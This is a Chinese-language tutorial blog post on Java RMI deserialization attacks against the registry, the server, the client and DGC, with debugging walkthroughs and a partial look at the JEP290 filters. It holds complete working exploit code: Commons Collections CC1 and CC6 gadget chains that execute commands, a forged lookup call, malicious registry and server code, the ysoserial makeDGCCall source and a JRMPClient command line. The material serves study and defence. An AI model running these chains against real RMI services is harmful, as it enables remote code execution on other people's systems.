JAVA反序列化-RMI攻击篇

前言

上一篇主要写了RMI的流程,这篇基于上篇流程,主要写一下攻击点,也是属于才在前辈的肩膀上看世界了。

前置知识

调试准备

本篇涉及大量的代码调试,由于Oracle JDK sun包没有源码,是反编译的,阅读体验不好,如下图,我们可以使用openjdk的sun源码,提升我们的阅读体验。

image-20250113204722738

具体步骤是,查询我们当前使用的版本。

image-20250113205045176

去这里找到对应的版本号https://github.com/openjdk/jdk8u 这个就是源码(当然其实也不一定非常准确,因为里面还涉及到Oracle JDk和OpenJDK的差别,版本号可能有一些差异,但其实偏差也不会很大)

image-20250113204445049

我们打开项目的配置,找到SDK,然后点开Sourcepath这个选项卡,正常情况下里面会有两个默认的源码目录,分别是src.zip和javafx-src.zip。我们将刚才下载的源码的子目录jdk/src/share/classes/sun加进去,就可以正常调试了。

image-20250113205314705

攻击注册中心

前面我们提到了,客户端请求注册中心-客户端是调用RegistryImpl_Stub的方法,那与Registry交互的方法有list、bind、rebind、unbind、lookup

image-20241231115603138

这些方法对应的处理逻辑由服务端 RegistryImpl_Skeldispatch 方法来完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
switch (var3) {
case 0:
String var100;
Remote var103;
try {
ObjectInput var105 = var2.getInputStream();
var100 = (String)var105.readObject();
var103 = (Remote)var105.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var100, var103);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var99 = var6.list();

try {
ObjectOutput var102 = var2.getResultStream(true);
var102.writeObject(var99);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
String var98;
try {
ObjectInput var104 = var2.getInputStream();
var98 = (String)var104.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

Remote var101 = var6.lookup(var98);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var101);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
Remote var8;
String var97;
try {
ObjectInput var11 = var2.getInputStream();
var97 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var97, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
String var7;
try {
ObjectInput var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

如果存在对传入的对象调用 readObject() 方法,则可以利用,dispatch 里面对应关系如下:

case 0--->bind、case 1--->list、case 2--->lookup、case 3--->rebind、case 4--->unbind

bind、rebind

其中远程调用bind()、rebind()绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要客户端传入一个恶意的对象即可。这里利用CC1和CC6做演示:

CC1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
import java.lang.annotation.Target;

public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);

//创建恶意 InvocationHandler
InvocationHandler handler = (InvocationHandler) getEvilClass();

//使用AnnotationInvocationHandler动态代理Remote
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(),
new Class[]{Remote.class}, handler);

//bind到registry时会触发反序列化
registry.bind("hello", remote);
}

public static Object getEvilClass() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap);
return o;
}
}

CC6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class T {
public static void main(String[] args) throws RemoteException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
//连接registry
Registry registry = LocateRegistry.getRegistry("localhost", 1099);

//使用AnnotationInvocationHandler动态代理Remote
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructors()[0];

declaredConstructor.setAccessible(true);

HashMap<Object, Object> map = new HashMap<>();
map.put("hello", getEvilClass());

//使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Target.class,map);

//使用AnnotationInvocationHandler动态代理Remote
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class}, handler);

//bind到registry时会触发反序列化
registry.rebind("hello", remote);
}

public static Object getEvilClass() throws IllegalAccessException, NoSuchFieldException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer[]{});


HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class<ChainedTransformer> c2 = ChainedTransformer.class;
Field iTransformersField = c2.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, transformers);
return map2;
}
}

这里有一个需要注意的点就是调用bind()、rebind的时候无法直接传入AnnotationInvocationHandler类的对象,必须要转为Remote类才行。这里使用了下面的方式进行转换:

1
2
3
4
5
6
InvocationHandler handler = (InvocationHandler) getEvilClass();

//使用AnnotationInvocationHandler动态代理Remote
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(),
new Class[]{Remote.class}, handler);

下面是详细流程:

  • cc1的payload是一个AnnotationInvocationHandler对象,在其构造的时候传入了一个 HashMap,其中包含一个恶意对象(通过 getEvilClass() 方法生成),这个 HashMap 被用作 AnnotationInvocationHandler#memberValues 属性,又因为它现在是InvocationHandler类型,通过 Proxy.newProxyInstance方法,这时memberValues 实际上是一个代理对象,所有对 memberValues 的方法调用(例如 get()entrySet())都会被委托到 AnnotationInvocationHandler.invoke() 方法。
  • 在服务端触发var.readobject()时,会进入AnnotationInvocationHandler类的readobject()
  • 在readobject()中会执行this.memberValues.entrySet()。entrySet(),这是一个map的方法。根据动态代理性质,我们绑定了map的方法到AnnotationInvocationHandler.invoke方法,所以就会进入invoke方法。
  • AnnotationInvocationHandler对象中又弄了一个lazyMap在memberValues属性中!只要触发了这个lazyMap的get方法就等于成功。
  • AnnotationInvocationHandler.invoke方法中刚好有this.memberValues.get(var4);,而这个this.memberValues就是lazyMap。

unbind、lookup

因为 unbind 和 lookup 的最终利用和思想都是一样的,这里我们就只拿 lookup 这里来学习。我们看到这里只接受一个String类型的参数。如果我们要控制传递过去的序列化值的话,不能直接传递给lookup这个方法,但是它发送请求的流程是可以直接复制的,只需要模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象。详情看下面代码。

image-20241231171605073

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
import java.lang.annotation.Target;

public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);

//创建恶意 InvocationHandler
InvocationHandler handler = (InvocationHandler) getEvilClass();

//使用AnnotationInvocationHandler动态代理Remote
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(),
new Class[]{Remote.class}, handler);


//获取ref(java.rmi.server.RemoteObject#ref)
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}

public static Object getEvilClass() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap);
return o;
}
}

注册中心在处理请求的时候是直接进行反序列化,所以还是可以造成反序列化攻击。

image-20241231213814990

list

没反序列化的点,这里就不过多阐述了

攻击服务端

在 Client 端获取到 Server 端创建的 Stub 后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用,如果这个参数是 Object 类型的情况下,Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。

服务端存在一个接收 Object 参数的远程方法

例如,远程调用的接口 RemoteInterface 存在一个 sayHello 方法的参数是 Object 类型。

image-20250101012158981

那我们就直接可以传一个反序列化 payload 进去执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws RemoteException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello(getEvilClass()));

}
public static Object getEvilClass() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap);
return o;
}
}

这部分就是纯纯的 Java 原生反序列化漏洞的利用过程。

绕过 Object 类型参数

非得服务端有Object类型参数的远程方法才能利用的话也太鸡肋了,接下来我们尝试绕过这个限制。我们把服务端的Object类型的方法注释掉,这时候用payload去打,我们会发现unrecognized method hash 的错误。其实就是在服务端没有找到对应的调用方法。

image-20250107130904870

我们之前说过服务端由 UnicastServerRefdispatch 方法来处理客户端的请求,会在 hashToMethod_Map.get(op) 中寻找 Client 端对应执行 Method 的 hash 值,如果找到了,则会反序列化 Client 端传来的参数,并且通过反射调用。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。

image-20250107135350049

而如果我们人为的修改这个 hash 使其通过一致性检查后,就会进入到 unmarshalValue 这个方法中,再如果服务端这个方法的入参类型不是基础类型的话,我们就能通畅的进行反序列化恶意对象。造成反序列化。

image-20250109103934648

RMI 服务端需要起一个具有 Object 参数的 RMI 方法 的利用条件限制 就扩展到了 RMI 服务端只需要起一个具有不属于基础数据类型参数的 RMI 方法(比如 String 啥的)

接下来就是想办法让我们传递的是 Server 端能找到的参数是 HelloObject 的 Method 的 hash,但是传递的参数却不是 HelloObject 而是恶意的反序列化数据(可能是 Object或其他的类)。攻击原理核心在于替换原本不是 Object 类型的参数变为 Object 类型。

mogwailabs 的 [PPT](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf) 中提出了以下 4 种方法:

  • 直接修改rmi底层源码
  • 在运行时,添加调试器hook客户端,然后替换
  • 在客户端使用Javassist工具更改字节码
  • 使用代理,来替换已经序列化的对象中的参数信息

并且在 PPT 中还给出了 hook 点,那就是动态代理中使用的 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法。

接下来我们尝试一下,由于是学习和测试,这里将使用最方便的 debugger 方式。Afant1 师傅使用了 Java Agent 的方式,在这篇文章里,0c0c0f 师傅使用了流量层的替换,在这篇文章里,有兴趣的师傅请自行查看。

Server 端代码不变,我们在 Client 端将 Object 参数和 HelloObject 参数的 sayHello 方法都写上,如下:

我们在服务端的接口 RemoteInterface 中定义一个 sayHello 方法,他接收一个在 Server 端存在的 HelloObject 类作为参数。

image-20250108173025921

Server 端代码不变,我们在 Client 端将 Object 参数和 HelloObject 参数的 sayHello 方法都写上,如下:

image-20250108173118138

调用时,依旧使用 Object 参数的 sayHello 方法调用。

image-20250108173151251

在 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法处下断,将 Method 改为服务端存在的 HelloObject 的 Method。

image-20250108173302048

攻击成功。

image-20250108173324455

远程加载对象(JAVA版本要比较低,利用苛刻)

感兴趣的师傅去看su18师傅的文章吧。https://su18.org/post/rmi-attack/#1-%E6%94%BB%E5%87%BB-server-%E7%AB%AF

攻击客户端

注册中心攻击客户端

在前面分析JRMP协议过程中,当Client在连接Server之前,Registry会返回给Client一些序列化数据。如果我们能够搭建恶意的Registry来模拟JRMP协议通信,返回给Client一些恶意的序列化数据,那么就可以达到攻击的效果了。

这里有个很严重的缺陷就是客户端必须去 lookup 指定恶意对象才行。

另外注意这里虽然没直接使用RemoteObjlmpl对象,但是还是需要new RemoteObjlmpl,因为继承了UnicastRemoteObject,UnicastRemoteObject中会开启网络线程,阻塞主线程,让server等待client连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;


public class RMIServer {
public static void main(String[] args) throws IOException, AlreadyBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {

RemoteObjlmpl remoteObj = new RemoteObjlmpl();

InvocationHandler handler = (InvocationHandler) getEvilClass();

//使用AnnotationInvocationHandler动态代理Remote
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(),
new Class[]{Remote.class}, handler);

Registry registry = LocateRegistry.createRegistry(1099);

registry.bind("remoteObj", remote);

}

public static Object getEvilClass() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class, transformerMap);
return o;
}

}

image-20250106225616792

服务端攻击客户端

在RMI过程中,Server会把远程方法执行的结果返回给Client端,如果返回的结果是一个对象,那么这个对象会被序列化传输,并在Client端被反序列化。如果我们搭建恶意Server端,返回给Client端恶意对象,就可以达到攻击的效果。

image-20250108175353444

实现接口,里面是一个恶意的对象。

image-20250108175436639

1
2
3
4
5
6
7
8
public class RMIServer {
public static void main(String[] args) throws IOException, AlreadyBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
User liming = new ServerReturnObject("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);
}
}

client调用远程方法,被成功攻击。

image-20250108175640225

远程加载对象(JAVA版本要比较低,利用苛刻)

其实无论 Server 端还是 Client 端,只要有一端配置了 java.rmi.server.codebase,这个属性都会跟随数据流在两端流动。所以这里也是能被攻击的。

DGC

在上篇我们也提到过DGC。

RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirtyclean

这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel

很像 Registry、RegistryImpl、RegistryImpl_Stub、RegistryImpl_Skel,实际上不单是命名相近,处理逻辑也是类似的。通过在服务端和客户端之间传递引用,依旧是 Stub 与 Skel 之间的通信模式:Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 DGCImpl_Skel 来处理。


DGC 通信的处理类是 DGCImpl_Skel 的 dispatch 方法,依旧通过 Java 原生的序列化和反序列化来处理对象。

image-20250109164957918

image-20250109165017215

看到这里应该就明白了,伴随着 RMI 服务启动的 DGC 通信,也存在被 Java 反序列化利用的可能。我们只需要构造一个 DGC 通信并在指定的位置写入序列化后的恶意类即可。

对JRMP中DGC操作实现的攻击利用

在上篇我们提到了DGC,这边我们开启一个Server,并且在CC链最终的触发处org.apache.commons.collections.functors.InvokerTransformer#transform处下一个断点

image-20250110205904116

使用ysoserial的exploit/JRMPClient模块。

1
java -cp ysoserial.jar ysoserial.exploit.JRMPClient vps port CommonsCollecitons6 'calc.exe'

image-20250110205946734

然后我们能看到这些调用栈。在1-5的地方均有POC生成序列化数据必须满足的条件。

image-20250110210609626

这部分我们就直接看https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java的逻辑

其核心在于makeDGCCall方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//建立一个socket通道,并为赋值
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//读取socket通道的数据流
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
//*******开始拼接数据流*********
//以下均为特定协议格式常量,之后会说到这些数据是怎么来的
//传输魔术字符:0x4a524d49(代表协议)
dos.writeInt(TransportConstants.Magic);
//传输协议版本号:2(就是版本号)
dos.writeShort(TransportConstants.Version);
//传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
dos.writeByte(TransportConstants.SingleOpProtocol);
//传输指令-RMI call:0x50
dos.write(TransportConstants.Call);

@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//DGC的固定读取格式
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//选取DGC服务端的分支选dirty
objOut.writeInt(1); // dirty
//然后一个固定的hash值
objOut.writeLong(-669196253586618813L);
//我们的反序列化触发点
objOut.writeObject(payloadObject);

os.flush();
}
}

根据调用栈我们在TCPTransport$ConnectionHandler.run0打个断点,可以看到这个方法读取了一个int数据:

image-20250112115842553

下图又读取了一个short数据,然后不相等的话就直接return了。

image-20250112115718204

接着读取了一个byte数据,76,于是switch进入下面的case76,继而进入handleMessage方法中:

image-20250112115514635

我们可以看到上面的条件其实全部都是sun.rmi.transport.TransportConstants的静态属性。也解释了为什么ysoserial为什么要这样写。

image-20250112142915850

我们接着到了handleMessages方法中,看到读取了int数据80,于是进入了switch中的分支。

image-20250112120203905

继续跟进,到了Transport类的serviceCall(final RemoteCall call)方法。这一部分是读取了参数之后进行了校验。

image-20250112120358993

java.rmi.server.ObjID#read,num等于2,又调用了java.rmi.server.UID,静态方法。

image-20250112144211722

再进入UID.read方法,可以看到连续读取了int、long、short三个数据: 全都是0

image-20250112150134362

回到java.rmi.server.ObjID#read

image-20250112120753342

所以上面执行ObjID.read()方法的过程中就是通过读取数据最终生成一个ObjID对象。而其中三个变量unique、time、count则分别代表

  • 服务端uid给客户端的远程对象唯一标识编号。

  • 远程对象有效时长用的时间戳。

  • 用于同一时间申请的统一远程对象的另一个用于区分的随机数

(这部分其实是ysoserlal序列化写入的值。我们因为攻击服务端,没有去服务端获取过远程对象所以都写成0即可,不然会报错。)

随后和会用该ObjID对象与dgcID作比较。dgcID是一个常量,也就是说在此处此处进行了验证。

image-20250112150838692

如上最终dgcID生成的结构就是[0:0:0, 2]。与上面执行ObjID.read()方法生成的ObjID值是一样的。

这也是为什么ysoserlal为什么这么写的原因。

image-20250112152611473

接着往下看还不仍然是获取了Target对象,由于ObjID值与dgcID值相同,因此最终生成的Target对象是DGCImpl类型的,

image-20250112125628890

后面同样获取了Target的Dispatcher,然后使用它的dispatch方法进行分派。

image-20250112124812139

同样的,在UnicastServerRef类中的dispatch(Remote obj, RemoteCall call)方法中读取了一个int值。

image-20250112122833174

接着又读取了一个long值,最后的结果如图。

image-20250112152401118

接着进入了DGCImpl_Skel类的dispatch(Remote var1, RemoteCall var2, int var3, long var4),那我们就很清楚了,op对应着var3,hash对应着var4。

image-20250112123213392

因此进入switch的case1分支,这里就会对exploit/JRMPClient发送的恶意payload进行反序列化,从而执行其中包含的任意命令。

image-20250112123420164

到了这里,整个DGC调用的流程也走完了,同时发送的payload中包含的命令也执行了。

JEP290

在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。主要针对Registrylmpl和DGClmpl,分别是sun.rmi.registry.RegistryImpl#registryFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {
if (registryFilter != null) {
ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
//白名单
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}

sun.rmi.transport.DGCImpl#checkInput

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo var0) {
if (dgcFilter != null) {
ObjectInputFilter.Status var1 = dgcFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > (long)DGC_MAX_DEPTH) {
return Status.REJECTED;
} else {
